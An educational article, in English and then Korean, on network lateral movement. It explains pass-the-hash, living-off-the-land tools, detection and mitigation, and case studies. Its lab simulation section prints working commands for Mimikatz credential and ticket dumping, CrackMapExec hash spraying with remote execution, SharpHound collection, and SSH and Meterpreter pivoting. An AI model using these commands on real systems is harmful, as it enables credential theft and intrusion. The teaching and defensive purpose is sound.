-
Introduction to Lateral Movement
-
Common Techniques Used in Lateral Movement Attacks
-
Pass-the-Hash (PtH) and Pass-the-Ticket (PtT)
-
Exploiting Remote Services
-
Abusing Misconfigured Permissions and Shared Credentials
-
Living-off-the-land (LOL) Techniques
-
Step-by-Step Guide to Simulating a Lateral Movement Attack
-
Setting Up a Controlled Environment for Testing
-
Example of Using Mimikatz for Credential Theft
-
Using BloodHound and CrackMapExec to Map Attack Paths
-
Pivoting Techniques
-
Detecting and Mitigating Lateral Movement
-
Monitoring for Lateral Movement in Real-Time
-
Using SIEM Tools, EDR Solutions, and Behavioral Analytics
-
Best Practices for Securing Credentials and Segmenting Networks
-
Implementing Least Privilege Principles
-
Real-World Case Studies
-
Case Study 1: The SolarWinds Supply Chain Attack (2020)
-
Case Study 2: The Equifax Data Breach (2017)
-
Case Study 3: NotPetya (2017)
-
Conclusion
-
Key Takeaways
-
Why Lateral Movement Remains a Top Concern
-
Final Recommendations
-
횡적 이동 소개
-
횡적 이동 공격에 사용되는 일반적인 기술
-
Pass-the-Hash (PtH)와 Pass-the-Ticket (PtT)
-
원격 서비스 악용
-
잘못 구성된 권한 및 공유 자격 증명 악용
-
Living-off-the-land (LOL) 기술
-
횡적 이동 공격 시뮬레이션 단계별 가이드
-
테스트를 위한 통제된 환경 설정
-
BloodHound를 이용한 Active Directory 정보 수집 및 시각화
-
CrackMapExec를 이용한 네트워크 정찰 및 악용
-
SSH 터널링:
-
Meterpreter 피봇팅:
-
PowerShell Remoting:
-
실시간 탐지 방법
-
네트워크 트래픽 분석:
-
엔드포인트 모니터링:
-
Active Directory 모니터링:
Lateral Movement Vulnerabilities in Cybersecurity
Introduction to Lateral Movement
Lateral movement refers to the techniques that cybercriminals use to progressively move through a network after gaining initial access. This process involves navigating from one system to another, expanding control, gathering information, and seeking high-value targets or data. Rather than a single attack vector, lateral movement represents a phase in the cyber kill chain where attackers attempt to deepen their foothold within an organization's infrastructure.
The primary objective of lateral movement is to gain access to sensitive data, critical systems, or higher privileges without triggering security alerts. By moving laterally through the network, attackers can:
- Elevate their privileges from a low-level user to an administrator or domain controller
- Access sensitive data stored on various systems across the network
- Establish persistence by compromising multiple systems
- Bypass security controls that may be focused primarily on perimeter defense
Lateral movement is a critical security concern because it occurs after initial compromise, when the attacker has already defeated perimeter defenses. Traditional security measures like firewalls and antivirus software are often focused on preventing initial breaches, but may be less effective at detecting movement within the network. Additionally, once attackers are inside the network, they often use legitimate tools and credentials, making their activities difficult to distinguish from normal operations.
Sophisticated threat actors typically follow a methodical approach to lateral movement:
- Reconnaissance: After initial access, attackers map the network to identify potential targets, domain controllers, and valuable assets.
- Credential harvesting: They extract passwords, hashes, or tickets that can be used to authenticate to other systems.
- Privilege escalation: Using the harvested credentials, attackers gain higher levels of access.
- Persistence: They establish backdoors or other means to maintain access even if the initial entry point is discovered and closed.
- Lateral movement: With elevated privileges, they move to other systems to reach their ultimate objectives.
This process can be repeated multiple times as attackers move deeper into the network, often remaining undetected for months.
Common Techniques Used in Lateral Movement Attacks
Pass-the-Hash (PtH) and Pass-the-Ticket (PtT)
These credential theft techniques allow attackers to authenticate to systems without knowing the actual password:
Pass-the-Hash (PtH): Instead of using a password, attackers use the underlying NTLM or LM hash to authenticate to systems. Windows systems store password hashes in memory and on disk, which can be extracted and reused. Since many protocols accept the hash for authentication, attackers don't need to crack the hash to obtain the plaintext password.
Example: An attacker who has compromised a workstation extracts the NTLM hash of an administrator account from memory using a tool like Mimikatz, then uses that hash to authenticate to other systems on the network without knowing the actual password.
Pass-the-Ticket (PtT): In Kerberos environments, attackers steal authentication tickets (TGTs or service tickets) from memory and use them to access other systems. This technique is especially dangerous because it can bypass multifactor authentication once the ticket is obtained.
Example: An attacker extracts Kerberos tickets from a compromised system's memory, then uses these tickets to access restricted services without needing to re-authenticate.
Exploiting Remote Services
Attackers often target various remote management services to move between systems:
Remote Desktop Protocol (RDP): By obtaining valid credentials or exploiting vulnerabilities in RDP, attackers can gain GUI access to remote systems, which provides extensive control.
Server Message Block (SMB): This file-sharing protocol can be exploited to access file shares, execute remote commands, or exploit vulnerabilities like EternalBlue.
Windows Remote Management (WinRM): PowerShell remoting relies on WinRM and can be used to execute commands on remote systems when enabled.
SSH: On Linux systems, Secure Shell is a common target for lateral movement if credentials are compromised or SSH keys are not properly secured.
Virtual Network Computing (VNC): Similar to RDP, VNC provides graphical remote access and can be exploited if not properly secured.
Abusing Misconfigured Permissions and Shared Credentials
Organizations often have misconfigurations that facilitate lateral movement:
Excessive administrative privileges: When too many users have administrative rights, the attack surface expands dramatically.
Shared local administrator accounts: Many organizations use the same local administrator password across multiple systems, allowing easy lateral movement once one system is compromised.
Stored credentials: Credentials saved in Group Policy Preferences, scripts, or configuration files can be discovered and exploited.
Trust relationships: Domain trusts, particularly in Active Directory environments, can be exploited to move between different parts of an organization.
Misconfigured ACLs: Improperly configured access control lists may grant users unnecessary access to systems or data.
Living-off-the-land (LOL) Techniques
"Living off the land" involves using legitimate, built-in system tools for malicious purposes, helping attackers blend in with normal administrative activities:
Windows Tools:
- PsExec: A legitimate SysInternals tool that can execute processes on remote systems.
- WMI (Windows Management Instrumentation): Can be used to execute commands remotely.
- PowerShell: Provides powerful scripting capabilities and remote execution.
- Windows Task Scheduler: Can be used to maintain persistence and execute code on remote systems.
- Netsh: A command-line utility that can manipulate network configurations.
- Rundll32: Allows loading and running DLLs, which can be abused for malicious purposes.
Linux Tools:
- SSH: For remote access and command execution.
- SCP/SFTP: For transferring files between systems.
- Cron jobs: For scheduling persistent access.
- Bash scripting: For automating attack sequences.
The advantage of LOL techniques is that they generate much less suspicious activity, as they use tools that are already present on the systems and might be part of normal administrative operations.
Step-by-Step Guide to Simulating a Lateral Movement Attack
Note: The following techniques should only be performed in controlled, authorized test environments with proper permissions. Unauthorized testing is illegal and unethical.
Setting Up a Controlled Environment for Testing
Create a small network with at least:
- A domain controller running Active Directory
- Several workstations joined to the domain
- A file server with shared resources
- Various user accounts with different permission levels
Install monitoring tools to observe the attack and defense mechanisms.
Establish baseline activity for later comparison.
Create a clear scope and rules of engagement document.
Example of Using Mimikatz for Credential Theft
Mimikatz is a powerful tool for extracting passwords, hashes, and tickets from memory. Here's a simplified example of how it might be used in a lateral movement scenario:
Gain initial access to a workstation (this would be your starting point in a penetration test).
Download and execute Mimikatz (in a real attack, this would need to evade antivirus):
# Elevate to SYSTEM privileges (if not already running as administrator)
privilege::debug
# Extract passwords from memory
sekurlsa::logonpasswords
# Extract Kerberos tickets
sekurlsa::tickets /export
Identify valuable credentials, particularly those with administrative access.
Use the extracted credentials to access other systems:
# Pass-the-Hash example
sekurlsa::pth /user:administrator /domain:testdomain.local /ntlm:hash_value /run:cmd.exe
# Then access other systems using the newly spawned process with the injected credentials
Using BloodHound and CrackMapExec to Map Attack Paths
- BloodHound collects and visualizes Active Directory information to find attack paths:
# On the compromised system, run a BloodHound collector (SharpHound)
.\SharpHound.exe -c All
# Transfer the output ZIP file to your attack system
# Import the data into BloodHound and analyze attack paths
- CrackMapExec for network reconnaissance and exploitation:
# Scan the network to identify hosts
crackmapexec smb 192.168.1.0/24
# Try to authenticate across systems with stolen credentials
crackmapexec smb 192.168.1.0/24 -u administrator -H ntlm_hash
# Execute commands on systems where authentication succeeds
crackmapexec smb 192.168.1.0/24 -u administrator -H ntlm_hash -x "whoami"
Pivoting Techniques
- SSH Tunneling:
# Create a dynamic SOCKS proxy through a compromised Linux host
ssh -D 9050 user@compromised_host
# Configure tools to use the SOCKS proxy
proxychains nmap -sT -P0 internal_target
- Meterpreter Pivoting:
# After establishing a Meterpreter session
meterpreter> run autoroute -s 192.168.1.0/24
# Set up a SOCKS proxy
meterpreter> run socks5
# Use the proxy to access internal resources
- PowerShell Remoting:
# Enable PowerShell remoting on the target (if not already enabled)
Enable-PSRemoting -Force
# Create a remote session
$session = New-PSSession -ComputerName target_server -Credential (Get-Credential)
# Execute commands on the remote system
Invoke-Command -Session $session -ScriptBlock { commands_to_execute }
Detecting and Mitigating Lateral Movement
Monitoring for Lateral Movement in Real-Time
Effective detection requires visibility across the network and the ability to identify suspicious behavior:
Network traffic analysis:
- Monitor for unusual RDP, SMB, WinRM, or SSH connections
- Look for authentication attempts from unusual source systems
- Track data transfer patterns between systems
Endpoint monitoring:
- Watch for unusual process creation, especially with high privileges
- Monitor login events, particularly after hours or from unexpected sources
- Track credential usage across multiple systems
Active Directory monitoring:
- Monitor for new privilege grants or group membership changes
- Track Kerberos ticket issuance and usage
- Look for changes to Group Policy Objects or domain trusts
Using SIEM Tools, EDR Solutions, and Behavioral Analytics
Modern security tools provide capabilities specifically designed to detect lateral movement:
Security Information and Event Management (SIEM) systems correlate events across the network to identify attack patterns:
- Create custom detection rules focusing on lateral movement indicators
- Configure alerts for suspicious authentication patterns
- Deploy correlation rules that link seemingly unrelated events
Endpoint Detection and Response (EDR) solutions monitor endpoints for suspicious activity:
- Detect and prevent execution of tools like Mimikatz
- Monitor for in-memory attacks and credential theft
- Identify unusual PowerShell or WMI usage
User and Entity Behavior Analytics (UEBA) establishes baselines and detects deviations:
- Create behavioral profiles for users and systems
- Detect when accounts access unusual systems or resources
- Identify anomalous login times or locations
Best Practices for Securing Credentials and Segmenting Networks
Credential protection:
- Implement credential guard to protect against memory-based credential theft
- Use privileged access management (PAM) solutions for administrative accounts
- Rotate passwords regularly, especially for administrative accounts
- Implement multifactor authentication across the environment
Network segmentation:
- Divide networks into logical segments based on function and security requirements
- Implement zero trust principles—verify all access attempts regardless of source
- Use micro-segmentation to limit lateral movement even within security zones
- Deploy internal firewalls and access control lists between segments
Enhanced monitoring of critical assets:
- Implement more stringent monitoring for high-value targets
- Create "honeypot" resources to detect lateral movement attempts
- Monitor privileged account usage with special scrutiny
Implementing Least Privilege Principles
Access control review:
- Regularly audit user permissions and group memberships
- Remove unnecessary administrative privileges
- Implement time-based access for administrative tasks
Just-In-Time (JIT) access:
- Provide elevated privileges only when needed and for limited duration
- Require approval workflows for access to sensitive systems
- Log and monitor all privileged access sessions
Application whitelisting:
- Restrict execution to approved applications only
- Prevent unauthorized tools from running in the environment
- Control script execution with tools like AppLocker or Software Restriction Policies
Real-World Case Studies
Case Study 1: The SolarWinds Supply Chain Attack (2020)
The Attack:
The SolarWinds breach began with attackers compromising the company's build environment, allowing them to insert malicious code into legitimate software updates. Once organizations installed these updates, the attackers gained initial access and began lateral movement operations.
Lateral Movement Techniques Used:
- Attackers used stolen credentials to move between systems
- They exploited trust relationships between SolarWinds Orion and other systems
- Living-off-the-land techniques helped evade detection
- The attackers maintained a light footprint, focusing only on high-value targets
Lessons Learned:
- Supply chain security is critical—vendors need rigorous security controls
- Network segmentation can limit the impact of successful breaches
- Even sophisticated organizations can be vulnerable to well-executed lateral movement
- Detection capabilities must focus on subtle indicators of compromise
- Multi-factor authentication and privileged access management are essential safeguards
Case Study 2: The Equifax Data Breach (2017)
The Attack:
Attackers exploited a vulnerability in Apache Struts to gain initial access. They then spent 76 days moving laterally through the network, accessing multiple databases before eventually exfiltrating sensitive data on 147 million consumers.
Lateral Movement Techniques Used:
- Exploiting unpatched systems to gain footholds
- Using stolen credentials to access databases
- Creating web shells for persistent access
- Moving through unmonitored network segments
Lessons Learned:
- Timely patching is essential to prevent initial compromise
- Network segmentation should include data repositories
- Continuous monitoring is needed to detect lateral movement
- Data security controls should be implemented at multiple levels
- Regular security testing can identify potential attack paths before real attackers do
Case Study 3: NotPetya (2017)
The Attack:
NotPetya began as a targeted attack against Ukrainian organizations but spread globally. After initial infection, it used multiple lateral movement techniques to spread throughout organizations' networks with devastating speed.
Lateral Movement Techniques Used:
- Mimikatz-like functionality to harvest credentials
- EternalBlue and EternalRomance exploits to move between systems
- WMI and PsExec for remote execution
- Windows networking features for propagation
Lessons Learned:
- Patching is crucial for preventing exploitation of known vulnerabilities
- Credential protection mechanisms can limit lateral movement
- Network segmentation can contain the spread of malware
- Offline backups are essential for recovery from destructive attacks
- Security controls must address both targeted and automated attacks
Conclusion
Key Takeaways
Lateral movement is a post-compromise activity that allows attackers to expand their control within a network after initial access. It remains one of the most challenging phases of an attack to detect and prevent.
Multiple techniques facilitate lateral movement, including credential theft, exploitation of remote services, abuse of misconfigured permissions, and living-off-the-land tactics. These techniques often leverage legitimate administrative tools and credentials, making them difficult to distinguish from normal operations.
Detection requires a multi-layered approach combining network monitoring, endpoint visibility, behavioral analytics, and active threat hunting. The most effective detection strategies focus on identifying patterns and anomalies rather than specific tools or techniques.
Effective prevention combines technical controls with operational practices. Network segmentation, credential protection, least privilege implementation, and regular security assessments all contribute to reducing lateral movement opportunities.
Why Lateral Movement Remains a Top Concern
Lateral movement continues to be a critical concern for security teams for several reasons:
It occurs after initial defenses have failed, when attackers are already inside the network perimeter.
It often leverages legitimate tools and credentials, making malicious activity difficult to distinguish from normal operations.
The attack surface for lateral movement is vast in most organizations, with numerous potential targets and pathways.
Traditional security measures focus on perimeter defense rather than detecting movement within the network.
The long dwell time associated with lateral movement allows attackers to thoroughly compromise an environment before detection occurs.
Final Recommendations
To strengthen defenses against lateral movement attacks, organizations should:
Implement a zero trust architecture that verifies every access attempt regardless of source or destination.
Deploy network segmentation to limit the potential impact of compromises and create visibility boundaries.
Protect credentials through multifactor authentication, privileged access management, and enhanced protection mechanisms like credential guard.
Apply the principle of least privilege rigorously across the environment, removing unnecessary access rights and administrative privileges.
Invest in detection capabilities that can identify unusual behavior patterns indicative of lateral movement.
Conduct regular security assessments to identify and remediate potential attack paths before they can be exploited.
Train security teams to recognize and respond to lateral movement indicators quickly.
Develop and practice incident response plans that address containment of lateral movement.
By understanding how attackers move through networks and implementing comprehensive defenses, organizations can significantly reduce the risk and potential impact of lateral movement attacks. While no single control can prevent all forms of lateral movement, a defense-in-depth approach that combines technical measures, operational practices, and security awareness can create a resilient security posture.
사이버 보안에서의 횡적 이동 취약점
횡적 이동 소개
횡적 이동(Lateral Movement)은 사이버 범죄자들이 초기 접근을 획득한 후 네트워크를 점진적으로 이동하는 데 사용하는 기술을 의미합니다. 이 과정은 한 시스템에서 다른 시스템으로 이동하면서 제어를 확장하고, 정보를 수집하며, 고가치 대상이나 데이터를 찾는 것을 포함합니다. 단일 공격 벡터가 아닌, 횡적 이동은 공격자가 조직의 인프라 내에서 발판을 더욱 강화하려는 사이버 킬 체인의 한 단계를 나타냅니다.
횡적 이동의 주요 목적은 보안 경고를 트리거하지 않고 민감한 데이터, 중요 시스템 또는 더 높은 권한에 접근하는 것입니다. 네트워크를 횡적으로 이동함으로써 공격자는 다음과 같은 작업을 수행할 수 있습니다:
- 낮은 수준의 사용자에서 관리자 또는 도메인 컨트롤러로 권한을 상승시킴
- 네트워크 전반의 다양한 시스템에 저장된 민감한 데이터에 접근
- 여러 시스템을 손상시켜 지속성 확립
- 주로 경계 방어에 초점을 맞춘 보안 통제를 우회
횡적 이동은 공격자가 이미 경계 방어를 패배시킨 초기 침해 이후에 발생하기 때문에 중요한 보안 우려사항입니다. 방화벽이나 바이러스 백신과 같은 전통적인 보안 조치는 종종 초기 침해를 방지하는 데 초점을 맞추고 있지만, 네트워크 내부에서의 이동을 탐지하는 데는 덜 효과적일 수 있습니다. 또한, 공격자가 네트워크 내부에 있으면 종종 합법적인 도구와 자격 증명을 사용하기 때문에 이들의 활동을 정상 운영과 구별하기 어렵습니다.
정교한 위협 행위자들은 일반적으로 횡적 이동에 체계적인 접근 방식을 따릅니다:
- 정찰: 초기 접근 후, 공격자는 잠재적 대상, 도메인 컨트롤러 및 가치 있는 자산을 식별하기 위해 네트워크를 매핑합니다.
- 자격 증명 수집: 다른 시스템에 인증하는 데 사용할 수 있는 비밀번호, 해시 또는 티켓을 추출합니다.
- 권한 상승: 수집된 자격 증명을 사용하여 더 높은 수준의 접근 권한을 얻습니다.
- 지속성: 초기 진입점이 발견되고 폐쇄되어도 접근을 유지하기 위한 백도어나 다른 수단을 확립합니다.
- 횡적 이동: 상승된 권한으로 최종 목표에 도달하기 위해 다른 시스템으로 이동합니다.
이 과정은 공격자가 네트워크 깊숙이 이동하면서 여러 번 반복될 수 있으며, 종종 몇 달 동안 탐지되지 않을 수 있습니다.
횡적 이동 공격에 사용되는 일반적인 기술
Pass-the-Hash (PtH)와 Pass-the-Ticket (PtT)
이러한 자격 증명 도용 기술을 통해 공격자는 실제 비밀번호를 알지 못해도 시스템에 인증할 수 있습니다:
Pass-the-Hash (PtH): 비밀번호 대신 공격자는 시스템에 인증하기 위해 기본 NTLM 또는 LM 해시를 사용합니다. Windows 시스템은 메모리와 디스크에 비밀번호 해시를 저장하며, 이는 추출되어 재사용될 수 있습니다. 많은 프로토콜이 인증을 위해 해시를 수용하므로 공격자는 평문 비밀번호를 얻기 위해 해시를 크랙할 필요가 없습니다.
예시: 워크스테이션을 손상시킨 공격자가 Mimikatz와 같은 도구를 사용하여 메모리에서 관리자 계정의 NTLM 해시를 추출한 다음, 실제 비밀번호를 알지 못해도 해당 해시를 사용하여 네트워크의 다른 시스템에 인증합니다.
Pass-the-Ticket (PtT): Kerberos 환경에서 공격자는 메모리에서 인증 티켓(TGT 또는 서비스 티켓)을 훔쳐 다른 시스템에 접근하는 데 사용합니다. 이 기술은 티켓이 얻어지면 다중 인증을 우회할 수 있기 때문에 특히 위험합니다.
예시: 공격자가 손상된 시스템의 메모리에서 Kerberos 티켓을 추출한 다음, 재인증할 필요 없이 이러한 티켓을 사용하여 제한된 서비스에 접근합니다.
원격 서비스 악용
공격자는 종종 시스템 간 이동을 위해 다양한 원격 관리 서비스를 대상으로 합니다:
원격 데스크톱 프로토콜(RDP): 유효한 자격 증명을 획득하거나 RDP의 취약점을 악용하여 공격자는 원격 시스템에 GUI 접근을 얻을 수 있으며, 이는 광범위한 제어를 제공합니다.
서버 메시지 블록(SMB): 이 파일 공유 프로토콜은 파일 공유에 접근하거나, 원격 명령을 실행하거나, EternalBlue와 같은 취약점을 악용하는 데 이용될 수 있습니다.
Windows 원격 관리(WinRM): PowerShell 원격은 WinRM에 의존하며 활성화된 경우 원격 시스템에서 명령을 실행하는 데 사용될 수 있습니다.
SSH: Linux 시스템에서 Secure Shell은 자격 증명이 손상되거나 SSH 키가 적절히 보호되지 않은 경우 횡적 이동의 일반적인 대상입니다.
가상 네트워크 컴퓨팅(VNC): RDP와 유사하게 VNC는 그래픽 원격 접근을 제공하며 적절히 보호되지 않으면 악용될 수 있습니다.
잘못 구성된 권한 및 공유 자격 증명 악용
조직은 종종 횡적 이동을 용이하게 하는 잘못된 구성을 가지고 있습니다:
과도한 관리 권한: 너무 많은 사용자가 관리 권한을 가지면 공격 표면이 극적으로 확장됩니다.
공유 로컬 관리자 계정: 많은 조직이 여러 시스템에 걸쳐 동일한 로컬 관리자 비밀번호를 사용하므로, 하나의 시스템이 손상되면 쉽게 횡적 이동이 가능합니다.
저장된 자격 증명: 그룹 정책 기본 설정, 스크립트 또는 구성 파일에 저장된 자격 증명이 발견되어 악용될 수 있습니다.
신뢰 관계: 특히 Active Directory 환경에서 도메인 신뢰는 조직의 다른 부분 사이를 이동하는 데 악용될 수 있습니다.
잘못 구성된 ACL: 부적절하게 구성된 접근 제어 목록은 사용자에게 시스템이나 데이터에 불필요한 접근 권한을 부여할 수 있습니다.
Living-off-the-land (LOL) 기술
"Living off the land"는 악의적인 목적으로 합법적인 내장 시스템 도구를 사용하는 것을 포함하며, 공격자가 정상적인 관리 활동과 섞이는 데 도움을 줍니다:
Windows 도구:
- PsExec: 원격 시스템에서 프로세스를 실행할 수 있는 합법적인 SysInternals 도구입니다.
- WMI (Windows Management Instrumentation): 원격으로 명령을 실행하는 데 사용될 수 있습니다.
- PowerShell: 강력한 스크립팅 기능과 원격 실행을 제공합니다.
- Windows 작업 스케줄러: 지속성을 유지하고 원격 시스템에서 코드를 실행하는 데 사용될 수 있습니다.
- Netsh: 네트워크 구성을 조작할 수 있는 명령줄 유틸리티입니다.
- Rundll32: 악의적인 목적으로 악용될 수 있는 DLL을 로드하고 실행할 수 있습니다.
Linux 도구:
- SSH: 원격 접근 및 명령 실행을 위한 도구입니다.
- SCP/SFTP: 시스템 간 파일 전송을 위한 도구입니다.
- Cron 작업: 지속적인 접근을 예약하기 위한 도구입니다.
- Bash 스크립팅: 공격 시퀀스를 자동화하기 위한 도구입니다.
LOL 기술의 장점은 시스템에 이미 존재하고 정상적인 관리 작업의 일부일 수 있는 도구를 사용하기 때문에 의심스러운 활동을 훨씬 적게 생성한다는 것입니다.
횡적 이동 공격 시뮬레이션 단계별 가이드
참고: 다음 기술은 적절한 권한이 있는 통제된 승인된 테스트 환경에서만 수행해야 합니다. 무단 테스트는 불법이며 비윤리적입니다.
테스트를 위한 통제된 환경 설정
최소한 다음을 포함하는 소규모 네트워크를 생성합니다:
- Active Directory를 실행하는 도메인 컨트롤러
- 도메인에 가입된 여러 워크스테이션
- 공유 리소스가 있는 파일 서버
- 다양한 권한 수준을 가진 여러 사용자 계정
공격과 방어 메커니즘을 관찰하기 위한 모니터링 도구를 설치합니다.
나중에 비교할 기준 활동을 설정합니다.
명확한 범위와 참여 규칙 문서를 작성합니다.
Mimikatz를 활용한 자격 증명 탈취 예제
Mimikatz는 메모리에서 비밀번호, 해시, 티켓 등을 추출할 수 있는 강력한 도구입니다. 아래는 횡적 이동(lateral movement) 시나리오에서 이를 사용하는 간단한 예입니다:
- 워크스테이션에 초기 접근 획득 (침투 테스트의 시작점).
- Mimikatz 다운로드 및 실행 (실제 공격에서는 안티바이러스를 우회해야 함):
SYSTEM 권한 상승 (관리자로 실행되지 않은 경우)
privilege::debug
메모리에서 비밀번호 추출
sekurlsa::logonpasswords
Kerberos 티켓 추출
sekurlsa::tickets /export
text
- 관리자 권한이 있는 자격 증명 식별.
- 추출된 자격 증명을 사용하여 다른 시스템에 접근:
Pass-the-Hash 예제
sekurlsa::pth /user:administrator /domain:testdomain.local /ntlm:hash_value /run:cmd.exe
새로 생성된 프로세스를 통해 다른 시스템에 접근
text
BloodHound 및 CrackMapExec를 활용한 공격 경로 매핑
BloodHound를 이용한 Active Directory 정보 수집 및 시각화
감염된 시스템에서 SharpHound 실행
.\SharpHound.exe -c All
생성된 ZIP 파일을 공격 시스템으로 전송 후 BloodHound로 분석
text
CrackMapExec를 이용한 네트워크 정찰 및 악용
네트워크 스캔으로 호스트 식별
crackmapexec smb 192.168.1.0/24
도난당한 자격 증명을 사용하여 인증 시도
crackmapexec smb 192.168.1.0/24 -u administrator -H ntlm_hash
인증 성공 시스템에서 명령 실행
crackmapexec smb 192.168.1.0/24 -u administrator -H ntlm_hash -x "whoami"
text
피봇팅(Pivoting) 기술
SSH 터널링:
감염된 Linux 호스트를 통해 SOCKS 프록시 생성
ssh -D 9050 user@compromised_host
프록시를 사용하여 내부 네트워크 스캔
proxychains nmap -sT -P0 internal_target
text
Meterpreter 피봇팅:
Meterpreter 세션 설정 후 네트워크 라우팅 추가
meterpreter> run autoroute -s 192.168.1.0/24
SOCKS 프록시 설정
meterpreter> run socks5
내부 리소스 접근에 프록시 사용
text
PowerShell Remoting:
대상에서 PowerShell Remoting 활성화 (활성화되지 않은 경우)
Enable-PSRemoting -Force
원격 세션 생성
$session = New-PSSession -ComputerName target_server -Credential (Get-Credential)
원격 시스템에서 명령 실행
Invoke-Command -Session $session -ScriptBlock { commands_to_execute }
횡적 이동 탐지 및 완화
실시간 탐지 방법
네트워크 트래픽 분석:
- 비정상적인 RDP, SMB, WinRM, SSH 연결 모니터링.
- 예상치 못한 소스 시스템의 인증 시도 탐지.
- 시스템 간 데이터 전송 패턴 분석.
엔드포인트 모니터링:
- 높은 권한으로 생성된 비정상적인 프로세스 관찰.
- 근무 시간 외 로그인 이벤트 모니터링.
- 여러 시스템 간 자격 증명 사용 추적.
Active Directory 모니터링:
- 새로운 권한 부여 또는 그룹 멤버십 변경 탐지.
- Kerberos 티켓 발급 및 사용 추적.
- 그룹 정책 객체(GPO) 또는 도메인 신뢰 변경 탐지.
결론 및 권장 사항
횡적 이동은 초기 방어가 실패한 이후 발생하며, 공격자가 네트워크 내부에서 제어를 확장하는 데 중요한 단계입니다. 이를 방어하기 위해 다음과 같은 조치를 취해야 합니다:
- 네트워크 분할(세그멘테이션)을 통해 피해 범위를 제한.
- 다중 인증(MFA)과 자격 증명 보호 메커니즘 구현.
- 최소 권한 원칙 적용으로 불필요한 접근 제거.
- 이상 행동 탐지를 위한 SIEM, EDR, UEBA 솔루션 활용.
- 정기적인 보안 평가와 침투 테스트 수행.
방어 깊이를 더하는 접근 방식은 기술적 조치와 운영 관행을 결합하여 강력하고 복원력 있는 보안 태세를 구축합니다.